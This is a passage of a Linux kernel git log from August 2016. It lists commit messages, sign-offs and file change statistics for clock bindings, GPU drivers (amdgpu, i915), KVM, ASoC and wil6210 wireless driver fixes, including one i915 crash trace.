edb89f126fc006f4346379195b815a0dd727f9e7 Author: Neil Armstrong Date: Thu Aug 18 12:08:47 2016 +0200 dt-bindings: clock: reset: Add GXBB AO Clock and Reset Bindings Add documentations and dt-bindings headers for the AO clock and reset controller. Acked-by: Rob Herring Signed-off-by: Neil Armstrong Signed-off-by: Stephen Boyd .../bindings/clock/amlogic,gxbb-aoclkc.txt | 45 +++++++++++++++ include/dt-bindings/clock/gxbb-aoclkc.h | 66 ++++++++++++++++++++++ include/dt-bindings/reset/gxbb-aoclkc.h | 66 ++++++++++++++++++++++ 3 files changed, 177 insertions(+) commit c3c5768346c5a27d63c3f3217452ab4b924c3885 Author: Shunli Wang Date: Fri Aug 19 13:34:53 2016 +0800 reset: mediatek: Add MT2701 reset controller dt-binding file Dt-binding file about reset controller is used to provide kinds of definition, which is referenced by dts file and IC-specified reset controller driver code. Signed-off-by: Shunli Wang Signed-off-by: James Liao Signed-off-by: Erin Lo Tested-by: John Crispin Acked-by: Philipp Zabel Signed-off-by: Stephen Boyd include/dt-bindings/reset/mt2701-resets.h | 83 +++++++++++++++++++++++++++++++ 1 file changed, 83 insertions(+) commit 1de9b21633d669668b089bc88a67c4cd74a89a1c Author: Shunli Wang Date: Fri Aug 19 13:34:51 2016 +0800 clk: mediatek: Add dt-bindings for MT2701 clocks Add MT2701 clock dt-bindings, include topckgen, apmixedsys, infracfg, pericfg and subsystem clocks. Signed-off-by: Shunli Wang Signed-off-by: James Liao Signed-off-by: Erin Lo Tested-by: John Crispin Reviewed-by: Matthias Brugger Signed-off-by: Stephen Boyd include/dt-bindings/clock/mt2701-clk.h | 486 +++++++++++++++++++++++++++++++++ 1 file changed, 486 insertions(+) commit 6a5887030a4a92cd27cfa1aee5be2a8c137975fa Author: James Liao Date: Fri Aug 19 13:34:50 2016 +0800 dt-bindings: ARM: Mediatek: Document bindings for MT2701 This patch adds the binding documentation for apmixedsys, bdpsys, ethsys, hifsys, imgsys, infracfg, mmsys, pericfg, topckgen and vdecsys for Mediatek MT2701. Signed-off-by: James Liao Signed-off-by: Erin Lo Tested-by: John Crispin Acked-by: Rob Herring Signed-off-by: Stephen Boyd .../bindings/arm/mediatek/mediatek,apmixedsys.txt | 3 ++- .../bindings/arm/mediatek/mediatek,bdpsys.txt | 22 ++++++++++++++++++++ .../bindings/arm/mediatek/mediatek,ethsys.txt | 22 ++++++++++++++++++++ .../bindings/arm/mediatek/mediatek,hifsys.txt | 24 ++++++++++++++++++++++ .../bindings/arm/mediatek/mediatek,imgsys.txt | 3 ++- .../bindings/arm/mediatek/mediatek,infracfg.txt | 3 ++- .../bindings/arm/mediatek/mediatek,mmsys.txt | 3 ++- .../bindings/arm/mediatek/mediatek,pericfg.txt | 3 ++- .../bindings/arm/mediatek/mediatek,topckgen.txt | 3 ++- .../bindings/arm/mediatek/mediatek,vdecsys.txt | 3 ++- 10 files changed, 82 insertions(+), 7 deletions(-) commit 2886c84681c4a10a8fecdea58bf749af09406a33 Author: James Liao Date: Fri Aug 19 13:34:49 2016 +0800 clk: mediatek: Refine the makefile to support multiple clock drivers Add a Kconfig to define clock configuration for each SoC, and modify the Makefile to build drivers that only selected in config. Signed-off-by: Shunli Wang Signed-off-by: James Liao Signed-off-by: Erin Lo Tested-by: John Crispin Reviewed-by: Matthias Brugger Signed-off-by: Stephen Boyd drivers/clk/Kconfig | 1 + drivers/clk/mediatek/Kconfig | 21 +++++++++++++++++++++ drivers/clk/mediatek/Makefile | 6 +++--- 3 files changed, 25 insertions(+), 3 deletions(-) commit 1d1a77ddc8acfa3d506f1958e09a12085e71fc69 Author: Linus Walleij Date: Tue Aug 16 21:41:36 2016 +0200 leds: centralize definition of "default-state" property Four different drivers define the "default-state" property. Move this into the common.txt common LEDs properties. Cc: devicetree@vger.kernel.org Signed-off-by: Linus Walleij Acked-by: Rob Herring Signed-off-by: Jacek Anaszewski Documentation/devicetree/bindings/leds/common.txt | 7 +++++++ Documentation/devicetree/bindings/leds/leds-bcm6328.txt | 2 +- Documentation/devicetree/bindings/leds/leds-bcm6358.txt | 2 +- Documentation/devicetree/bindings/leds/leds-gpio.txt | 9 ++------- Documentation/devicetree/bindings/leds/register-bit-led.txt | 9 ++------- 5 files changed, 13 insertions(+), 16 deletions(-) commit e349b1b700c1fda12380cd5dcf6af8a3b82edff3 Merge: 5dc6911 5512128 Author: Jonathan Corbet Date: Fri Aug 19 11:51:08 2016 -0600 Merge branch 'doc/4.9' into docs-next commit 5512128f027aec63a9a2ca792858801554a57baf Merge: 44f4ddd 5f09627 Author: Jonathan Corbet Date: Fri Aug 19 11:38:36 2016 -0600 Merge branch 'dev-tools' into doc/4.9 Coalesce development-tool documents into a single directory and sphinxify them. commit 3ad81f167e86e3ad81f2611896d57165c62f8244 Author: Chunming Zhou Date: Fri Aug 5 17:30:17 2016 +0800 drm/amdgpu: add need backup function V2 V2: add checking if need backup in amdgpu_bo_create. Signed-off-by: Chunming Zhou Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 8 ++++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 2 +- 3 files changed, 10 insertions(+), 1 deletion(-) commit abc8c1ce48b6ab32224cd6902645f9acb8e7e686 Author: jimqu Date: Fri Aug 19 09:31:50 2016 +0800 drm/amd/amdgpu: S3 resumed failed after 4-5 times loop Phenomenon: software hang when device resume back, read UVD fence is 0xffffffff and read pcie pid is 0xffff. The issue is caused by VCE reset when update cg setting. according to HW programming guide, adjust update VCE cg sequence. The patch apply to VCE2.0. Signed-off-by: JimQu Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/vce_v2_0.c | 133 +++++++++++++++++++++------------- 1 file changed, 81 insertions(+), 52 deletions(-) commit 27798e07ed9a8e9ae8d71c7a2b0ec3f313076cb8 Author: Flora Cui Date: Thu Aug 18 13:18:09 2016 +0800 drm/amdgpu: use domain's gpu_offset for start addr Signed-off-by: Flora Cui Reviewed-by: Ken Wang Reviewed-by: Michel Dänzer Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 6 +----- drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 8 ++------ 2 files changed, 3 insertions(+), 11 deletions(-) commit 32ab75f076ac14a9b2e2e4d0910ecfb102ba9747 Author: Flora Cui Date: Thu Aug 18 13:17:07 2016 +0800 drm/amdgpu: update gart_pin_size only if the bo is pined to GTT Signed-off-by: Flora Cui Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 408778e8e9656105aa4df2fe7dce54244ccdd3d7 Author: Flora Cui Date: Thu Aug 18 12:55:13 2016 +0800 drm/amdgpu: check domain sanity in amdgpu_bo_pin_restricted() abort if the bo is pined to other domain already Signed-off-by: Flora Cui Reviewed-by: Michel Dänzer Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 5 +++++ 1 file changed, 5 insertions(+) commit c632d7994360aa06158ccb089ad7e4814ce8f08b Author: Flora Cui Date: Tue Aug 2 11:32:41 2016 +0800 amdgpu: move ttm stuff to amdgpu_ttm.h Signed-off-by: Flora Cui Reviewed-by: Michel Dänzer Reviewed-by: Christian König Signed-off-by: Alex Deucher drivers/gpu/drm/amd/amdgpu/amdgpu.h | 45 +------------------ drivers/gpu/drm/amd/amdgpu/amdgpu_gds.h | 8 ---- drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.h | 78 +++++++++++++++++++++++++++++++++ 3 files changed, 80 insertions(+), 51 deletions(-) commit 2a702ccd9a79f6fc23fdb07a410a5f6533ac8f78 Author: Rex Zhu Date: Wed Aug 17 15:48:30 2016 +0800 drm/amd/powerplay: enable power containment features for tonga. v2: fix build error introduced when fix code style problems. Signed-off-by: Rex Zhu Reviewed-by: Alex Deucher Signed-off-by: Alex Deucher drivers/gpu/drm/amd/powerplay/hwmgr/Makefile | 2 +- drivers/gpu/drm/amd/powerplay/hwmgr/tonga_hwmgr.c | 24 +- drivers/gpu/drm/amd/powerplay/hwmgr/tonga_hwmgr.h | 11 +- .../gpu/drm/amd/powerplay/hwmgr/tonga_powertune.c | 498 +++++++++++++++++++++ .../gpu/drm/amd/powerplay/hwmgr/tonga_powertune.h | 22 +- 5 files changed, 548 insertions(+), 9 deletions(-) commit c58305af1835095ddc25ee6f548ac05915e66ac5 Author: Chris Wilson Date: Fri Aug 19 16:54:28 2016 +0100 drm/i915: Use remap_io_mapping() to prefault all PTE in a single pass Very old numbers indicate this is a 66% improvement when remapping the entire object for fence contention - due to the elimination of track_pfn_insert and its strcmp. Signed-off-by: Chris Wilson Testcase: igt/gem_fence_upload/performance Testcase: igt/gem_mmap_gtt Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160819155428.1670-6-chris@chris-wilson.co.uk drivers/gpu/drm/Makefile | 2 +- drivers/gpu/drm/i915/Makefile | 3 +- drivers/gpu/drm/i915/i915_drv.h | 5 +++ drivers/gpu/drm/i915/i915_gem.c | 50 ++++-------------------- drivers/gpu/drm/i915/i915_mm.c | 84 +++++++++++++++++++++++++++++++++++++++++ 5 files changed, 99 insertions(+), 45 deletions(-) commit f7bbe7883c3f119714fd09a8ceaac8075ba04dfe Author: Chris Wilson Date: Fri Aug 19 16:54:27 2016 +0100 drm/i915: Embed the io-mapping struct inside drm_i915_private As io_mapping.h now always allocates the struct, we can avoid that allocation and extra pointer dance by embedding the struct inside drm_i915_private Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160819155428.1670-5-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 6 +++--- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 2 +- drivers/gpu/drm/i915/i915_gem_gtt.c | 11 +++++------ drivers/gpu/drm/i915/i915_gem_gtt.h | 2 +- drivers/gpu/drm/i915/i915_gpu_error.c | 2 +- drivers/gpu/drm/i915/intel_overlay.c | 4 ++-- 6 files changed, 13 insertions(+), 14 deletions(-) commit cafaf14a5d8f152ed3c984ecd48dee6e824446bc Author: Chris Wilson Date: Fri Aug 19 16:54:26 2016 +0100 io-mapping: Always create a struct to hold metadata about the io-mapping Currently, we only allocate a structure to hold metadata if we need to allocate an ioremap for every access, such as on x86-32. However, it would be useful to store basic information about the io-mapping, such as its page protection, on all platforms. Signed-off-by: Chris Wilson Cc: linux-mm@kvack.org Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160819155428.1670-4-chris@chris-wilson.co.uk include/linux/io-mapping.h | 92 ++++++++++++++++++++++++++++------------------ 1 file changed, 57 insertions(+), 35 deletions(-) commit 8678fdaf396c3aa3732b3d98ce2241633dbc26ba Author: Chris Wilson Date: Fri Aug 19 16:54:25 2016 +0100 drm/i915/fbc: Allow on unfenced surfaces, for recent gen Only fbc1 is tied to using a fence. Later iterations of fbc are more flexible and allow operation on unfenced frontbuffers. Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: "Zanoni, Paulo R" Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160819155428.1670-3-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_fbc.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 12ecf4b979ec79b72e7aff35b172cada85e128a5 Author: Chris Wilson Date: Fri Aug 19 16:54:24 2016 +0100 drm/i915/fbc: Don't set an illegal fence if unfenced If the frontbuffer doesn't have an associated fence, it will have a fence reg of -1. If we attempt to OR in this register into the FBC control register we end up setting all control bits, oops! Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Daniel Vetter Cc: "Zanoni, Paulo R" Reviwed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160819155428.1670-2-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_fbc.c | 48 ++++++++++++++++++++++++++-------------- 1 file changed, 32 insertions(+), 16 deletions(-) commit 4fc788f5ee3dba89c3269dcfafcc36136a1ffd0e Author: Chris Wilson Date: Fri Aug 19 16:54:23 2016 +0100 drm/i915: Flush delayed fence releases after reset What I never hit in testing, but Mika immediately did, was a GPU hang with a pending fence release (where a tiled object has been changed by the user to be untiled, and the update has not yet been committed to the fence register). As the stride/tiling is 0, this causes a divide-by-zero error when trying to write the new fence parameters: [ 28.784518] drm/i915: Resetting chip after gpu hang [ 28.784551] divide error: 0000 [#1] PREEMPT SMP [ 28.784565] Modules linked in: nls_iso8859_1 nls_cp437 vfat fat mxm_wmi x86_pkg_temp_thermal snd_hda_codec_hdmi kvm irqbypass snd_hda_codec_realtek snd_hda_codec_generic snd_hda_intel snd_hda_codec serio_raw snd_hwdep snd_hda_core snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi snd_seq snd_timer snd_seq_device snd soundcore mac_hid wmi efivarfs autofs4 raid10 raid456 libcrc32c async_raid6_recov async_memcpy async_pq raid6_pq async_xor xor async_tx raid0 multipath linear psmouse e1000e ptp pps_core nvme nvme_core i915 i2c_algo_bit drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops drm video [ 28.784738] CPU: 0 PID: 1692 Comm: kworker/0:2 Not tainted 4.8.0-rc2+ #895 [ 28.784752] Hardware name: System manufacturer System Product Name/Z170M-PLUS, BIOS 1803 05/09/2016 [ 28.784786] Workqueue: events_long i915_hangcheck_elapsed [i915] [ 28.784814] task: ffff923c18f59d40 task.stack: ffff923c1b7e4000 [ 28.784827] RIP: 0010:[] [] fence_write+0x9f/0x3b0 [i915] [ 28.784854] RSP: 0018:ffff923c1b7e7b30 EFLAGS: 00010246 [ 28.784866] RAX: 00000000008ca000 RBX: ffff923c18540000 RCX: 0000000000000020 [ 28.784880] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 000000000596d000 [ 28.784894] RBP: ffff923c1b7e7b68 R08: 0000000000000000 R09: 0000000000000000 [ 28.784908] R10: 0000000000000000 R11: 00000000008ca000 R12: ffff923c1ef9d600 [ 28.784921] R13: 0000000000100040 R14: 0000000000100044 R15: ffff923c18549908 [ 28.784935] FS: 0000000000000000(0000) GS:ffff923c36c00000(0000) knlGS:0000000000000000 [ 28.784951] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 28.784962] CR2: 00007f193373c893 CR3: 0000000419c78000 CR4: 00000000003406f0 [ 28.784976] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 28.784990] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 [ 28.785004] Stack: [ 28.785009] 000000000596c03b ffff923c1b7e7b68 ffff923c18549938 0000000000000009 [ 28.785026] ffff923c18540000 ffff923c18549280 ffff923c18547ce8 ffff923c1b7e7b90 [ 28.785044] ffffffffc04761f9 ffff923c18540000 ffff923c18547d00 ffff923c18548ff8 [ 28.785062] Call Trace: [ 28.785078] [] i915_gem_restore_fences+0x39/0x50 [i915] [ 28.785102] [] i915_gem_reset+0x179/0x300 [i915] Reported-by: Mika Kuoppala Fixes: 49ef5294cda2 ("drm/i915: Move fence tracking from object to vma") Signed-off-by: Chris Wilson Cc: Mika Kuoppala Cc: Joonas Lahtinen Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/20160819155428.1670-1-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_fence.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 8e3562f6f8d28804b5499bf3cff520598aa25323 Author: Luwei Kang Date: Tue Aug 2 16:01:18 2016 +0800 KVM: x86: Expose more Intel AVX512 feature to guest Expose AVX512DQ, AVX512BW, AVX512VL feature to guest. Its spec can be found at: https://software.intel.com/sites/default/files/managed/b4/3a/319433-024.pdf Signed-off-by: Luwei Kang [Resolved a trivial conflict with removed F(PCOMMIT).] Signed-off-by: Radim Krčmář arch/x86/kvm/cpuid.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit c4f138b4514ba77837d5f6e8ffd2cbc143997984 Author: Bandan Das Date: Tue Aug 2 16:32:37 2016 -0400 mmu: don't pass *kvm to spte_write_protect and spte_*_dirty That parameter isn't used in these functions, it's probably a historical artifact. Signed-off-by: Bandan Das Signed-off-by: Paolo Bonzini arch/x86/kvm/mmu.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 187ca84b4b02d8b8a4f2117f1c6b209ef1ee90fc Author: Wanpeng Li Date: Wed Aug 3 12:04:13 2016 +0800 KVM: lapic: don't recalculate apic map table twice when enabling LAPIC APIC map table is recalculated during reset APIC ID to the initial value when enabling LAPIC. This patch move the recalculate_apic_map() to the next branch since we don't need to recalculate apic map twice in current codes. Cc: Paolo Bonzini Cc: Radim Krčmář Signed-off-by: Wanpeng Li Signed-off-by: Paolo Bonzini arch/x86/kvm/lapic.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 08023fb9cec03ee2992df51fa728c3f14a1ba0ea Author: Javier Martinez Canillas Date: Fri Aug 19 11:43:13 2016 -0400 ARM: multi_v7_defconfig: Don't attempt to enable schedutil governor as module The schedutil CPUFreq governor could be built as a module but the change "cpufreq / sched: Pass flags to cpufreq_update_util()" made it non-modular so attempting to enable as module leads to a warning: warning: symbol value 'm' invalid for CPU_FREQ_GOV_SCHEDUTIL Signed-off-by: Javier Martinez Canillas Signed-off-by: Krzysztof Kozlowski arch/arm/configs/multi_v7_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5f16d59cb97d24bafd172b7d935aff0f6c10d8ba Author: Javier Martinez Canillas Date: Fri Aug 19 11:43:12 2016 -0400 ARM: exynos_defconfig: Don't attempt to enable schedutil governor as module The schedutil CPUFreq governor could be built as a module but the change "cpufreq / sched: Pass flags to cpufreq_update_util()" made it non-modular so attempting to enable as module leads to a warning: warning: symbol value 'm' invalid for CPU_FREQ_GOV_SCHEDUTIL Signed-off-by: Javier Martinez Canillas Signed-off-by: Krzysztof Kozlowski arch/arm/configs/exynos_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f3d8ac8c4afea2014fbeb5f8e4c03d7fdffd623a Author: Fabio Estevam Date: Fri Aug 19 10:31:00 2016 -0300 ASoC: fsl_asrc: Use np variable The 'np' variable is already assigned to 'pdev->dev.of_node', so use it to improve readability. No functional change. Signed-off-by: Fabio Estevam Signed-off-by: Mark Brown sound/soc/fsl/fsl_asrc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7347a6c7af8d9b5edf587678e80c7e5bc24ec2d5 Author: Jan Glauber Date: Fri Aug 19 16:03:20 2016 +0200 spi: octeon: Add ThunderX driver Add ThunderX SPI driver using the shared part from the Octeon driver. The main difference of the ThunderX driver is that it is a PCI device so probing is different. The system clock settings can be specified in device tree. Signed-off-by: Jan Glauber Signed-off-by: Mark Brown drivers/spi/Kconfig | 7 +++ drivers/spi/Makefile | 2 + drivers/spi/spi-cavium-thunderx.c | 118 ++++++++++++++++++++++++++++++++++++++ drivers/spi/spi-cavium.h | 3 + 4 files changed, 130 insertions(+) commit e5abe959549ca267d2f6c7b0df1f74a0d8deab40 Author: Xing Zheng Date: Fri Aug 19 21:56:12 2016 +0800 ASoC: rockchip: Add support rt5514 dsp summy dailink This patch can attach automaticlly rt5514 spi DAI with driver name "rt5514" in the snd_soc_find_dai process. Turn this feature on, we can enable the voice wake up via rt5514 dsp for RK3399 Gru Boards. Signed-off-by: Xing Zheng Signed-off-by: Mark Brown sound/soc/rockchip/Kconfig | 1 + sound/soc/rockchip/rk3399_gru_sound.c | 39 ++++++++++++++++++++++++++++++++++- 2 files changed, 39 insertions(+), 1 deletion(-) commit 0be81156b3fb4d4e8e2c94177e5222dc21c3ff10 Author: Dave Gordon Date: Fri Aug 19 15:23:42 2016 +0100 drm/i915: Reattach comment, complete type specification In the recent patch bc3d674 drm/i915: Allow userspace to request no-error-capture upon ... the final version moved the flags and the associated #defines around so they were adjacent; unfortunately, they ended up between a comment and the thing (hw_id) to which the comment applies :( So this patch reshuffles the comment and subject back together. Also, as we're touching 'hw_id', let's change it from just 'unsigned' to a fully-specified 'unsigned int', because some code checking tools (including checkpatch) object to plain 'unsigned'. Fixes: bc3d674462e5 ("drm/i915: Allow userspace to request no-error-capture...") Signed-off-by: Dave Gordon Cc: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1471616622-6919-1-git-send-email-david.s.gordon@intel.com Reviewed-by: Chris Wilson Signed-off-by: Chris Wilson drivers/gpu/drm/i915/i915_drv.h | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 32101d00ac85a8a85431ce51e58acd6eb4184cf7 Author: Fabio Estevam Date: Fri Aug 19 10:31:01 2016 -0300 ASoC: fsl_asrc: Remove unneeded driver registration message There is no need to announce that the driver has been successfully probed, so remove the unneeded message. Signed-off-by: Fabio Estevam Signed-off-by: Mark Brown sound/soc/fsl/fsl_asrc.c | 2 -- 1 file changed, 2 deletions(-) commit c029695085145570eba12b6cf236954b42eb4fd5 Author: Fabio Estevam Date: Fri Aug 19 10:30:59 2016 -0300 ASoC: fsl_asrc: Propagate the real error code Instead of returning -EINVAL on error, return the real error code. Signed-off-by: Fabio Estevam Signed-off-by: Mark Brown sound/soc/fsl/fsl_asrc.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7d9e59ce761f2ebe0bf57e6467cc13d932ee109b Author: Bin Gao Date: Mon Aug 15 11:03:23 2016 -0700 gpio: wcove-gpio: add get_direction method This patch adds .get_direction method for the gpio_chip structure of the wcove_gpio driver. Signed-off-by: Bin Gao Signed-off-by: Linus Walleij drivers/gpio/gpio-wcove.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 9d05b389846312751108b16f3f8fccd51fa92715 Author: Karl Beldan Date: Wed Aug 17 12:54:54 2016 +0000 ARM: dts: da850-lcdk: Audio support via simple-card The LCDK embeds a TLV320AIC3106 connected to the SoC McASP for analog audio. The power supply of the codec comes from the main PMIC (TPS650250) DCDCs which are always on per HW design and not controllable by SW, so SW wise the codec driver will rely on the 'dummy' regulator. Quality is good with arecord -pipe- aplay on Line In/Line Out. Tested-by: Kevin Hilman Signed-off-by: Karl Beldan Signed-off-by: Sekhar Nori arch/arm/boot/dts/da850-lcdk.dts | 68 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 68 insertions(+) commit 908c9e733b1c8929f6e42094e58f9b2c06694247 Author: Punnaiah Choudary Kalluri Date: Wed Nov 4 12:34:17 2015 +0530 ARM64: zynqmp: Correct the watchdog timer interrupt number Corrected the watchdog timer interrupt number. Origin value was for CSUPMU watchdog. Signed-off-by: Punnaiah Choudary Kalluri Signed-off-by: Michal Simek arch/arm64/boot/dts/xilinx/zynqmp.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 886e7ddda0029e069560566a43ab1b567e51dcf9 Author: Michal Simek Date: Tue Feb 2 13:10:25 2016 +0100 ARM64: zynqmp: Add missing interrupt-parent to PMU node ZynqMP is not using global interrupt-parent setting that's why it has to be listed in every node separately. PMU node missed it and this patch is adding it. Reported-by: John Linn Signed-off-by: Michal Simek arch/arm64/boot/dts/xilinx/zynqmp.dtsi | 1 + 1 file changed, 1 insertion(+) commit 78b83b8cb34f610bc88abe5699426833664f4597 Author: Michal Simek Date: Tue Aug 9 15:13:02 2016 +0200 ARM64: zynqmp: Add PCIe node Add PCIe node with prefetchable memory which goes beyond 4GB. Signed-off-by: Bharat Kumar Gogada Signed-off-by: Michal Simek arch/arm64/boot/dts/xilinx/zynqmp.dtsi | 39 ++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) commit 7393fd869119e39184fe519ed8b1e61346662032 Author: Michal Simek Date: Thu Feb 11 13:26:28 2016 +0100 ARM64: zynqmp: Use 64bit size cell format Use 64bit size cell format instead of 32bit for memory description. Change 64bit sizes also for all others IPs. Signed-off-by: Michal Simek arch/arm64/boot/dts/xilinx/zynqmp-ep108.dts | 2 +- arch/arm64/boot/dts/xilinx/zynqmp.dtsi | 54 ++++++++++++++--------------- 2 files changed, 28 insertions(+), 28 deletions(-) commit e753dc03593a649525cd5683a1270e58a2fec170 Author: Alexander Graf Date: Thu May 12 13:44:01 2016 +0200 ARM64: zynqmp: Align gic ranges for 64k in device tree The GIC ranges in the zynqmp device tree are only 4kb aligned. Since commit 12e14066f we automatically deal with aliases GIC regions though, so we can map them transparently into guests even on 64kb page size systems. This patch makes use of that features and sets GICC and GICV to 64kb aligned and sized regions. Signed-off-by: Alexander Graf Signed-off-by: Michal Simek arch/arm64/boot/dts/xilinx/zynqmp.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2690c4c0e83b1aa5aa8b8b258ae422b067720224 Author: Lior David Date: Thu Aug 18 16:52:16 2016 +0300 wil6210: fix wiphy registration sequence Currently wiphy structure is initialized and registered in wil_if_alloc, before some information is available such as MAC address and capabilities. As a result there is a small chance user space will get incorrect information from calls such as NL80211_CMD_GET_WIPHY. Fix this by seperating the registration and moving it to wil_if_add which is executed later, after all relevant information is known. Signed-off-by: Lior David Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/cfg80211.c | 7 ------- drivers/net/wireless/ath/wil6210/main.c | 3 +++ drivers/net/wireless/ath/wil6210/netdev.c | 32 +++++++++++++++++++++-------- 3 files changed, 26 insertions(+), 16 deletions(-) commit dc90506f145875b9d88160802cc5fe06a7c79dda Author: Maya Erez Date: Thu Aug 18 16:52:15 2016 +0300 wil6210: prevent usage of incorrect TX hwtail txdata->enabled is used in order to determine if the TX vring is valid. As the data transmit is handled in a different context, in case txdata->enabled is set before vring->hwtail is updated, an old or corrupted vring->hwtail can be used. Protect setting of txdata->enabled and vring->hwtail to prevent a case where TX vring start handling TX packets before setting vring->hwtail. Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/txrx.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit b0c0e688e523eba14abf21ac246b7dd88f5574fa Author: Lazar Alexei Date: Thu Aug 18 16:52:14 2016 +0300 wil6210: Fix driver down flow Stations disconnection is executed as part of wil_reset so no need to do it in wil_down. Removal of the disconnect operation will also preserve the lock of wil->mutex during the whole reset flow and prevent handling of connect event while resetting. Set wil_status_resetting in earlier stage in the flow to prevent double resetting call in case communication with FW fails while bringing the interface down. Signed-off-by: Lazar Alexei Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/main.c | 16 ++-------------- 1 file changed, 2 insertions(+), 14 deletions(-) commit d35c2b6f8ffa75d430fd0fbbc5062f738c44f6e4 Author: Maya Erez Date: Thu Aug 18 16:52:14 2016 +0300 wil6210: fix stop p2p device handling fix stop p2p device handling to identify between search and listen and update the upper layers with the appropriate notification. The stop of p2p radio operations also needs to be performed in __wil_down. Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/cfg80211.c | 25 ++++++---------- drivers/net/wireless/ath/wil6210/main.c | 2 +- drivers/net/wireless/ath/wil6210/p2p.c | 46 +++++++++++++++++++++++++++++ drivers/net/wireless/ath/wil6210/pcie_bus.c | 5 +++- drivers/net/wireless/ath/wil6210/wil6210.h | 1 + 5 files changed, 61 insertions(+), 18 deletions(-) commit ef86f249fa4980fc78fe1546e45d8cab6be424b6 Author: Lior David Date: Thu Aug 18 16:52:13 2016 +0300 wil6210: change HALP logging category to IRQ Change the logging category of HALP functions from MISC to IRQ, since the HALP mechanism is closely related to interrupts. Both HALP and IRQ create a heavy load of logging messages when enabled, so their logging is typically disabled during normal debug scenarios. Having them in the same logging category will make it easier to disable logging for both in one go. Signed-off-by: Lior David Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/interrupt.c | 4 ++-- drivers/net/wireless/ath/wil6210/main.c | 26 +++++++++++++------------- 2 files changed, 15 insertions(+), 15 deletions(-) commit 74b6ac586d9cb7f45c894841e4204b3648ae865c Author: Maya Erez Date: Thu Aug 18 16:52:12 2016 +0300 wil6210: support rx key setting for all TIDs According to the spec the PN should be calculated per TID. In the current implementation, the PN and key_set were set only for TID 0, therefore only traffic for TID 0 was supported. In order to support all TIDs, the key_set and PN should be set for all the TIDs. Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/cfg80211.c | 116 +++++++++++++++++++--------- 1 file changed, 81 insertions(+), 35 deletions(-) commit f1b7764f8626b5ee7a42b6648427e71111c5cbb5 Author: Maya Erez Date: Thu Aug 18 16:52:12 2016 +0300 wil6210: fix HALP handling in case of HALP vote time-out In case HALP vote times out, we need to mask the HALP IRQ, as done in case the interrupt is received, as this interrupt should be set until completion of the low latency operation. Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/interrupt.c | 11 +++++++++-- drivers/net/wireless/ath/wil6210/main.c | 7 +++++-- drivers/net/wireless/ath/wil6210/wil6210.h | 1 + 3 files changed, 15 insertions(+), 4 deletions(-) commit 0163b03199006a6ba0d2c991c311e8ac93fcb208 Author: Maya Erez Date: Thu Aug 18 16:52:10 2016 +0300 wil6210: align to latest auto generated wmi.h Align to latest version of the auto generated wmi file describing the interface with FW. Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/wmi.h | 640 +++++++++++++++++++++++++++++---- 1 file 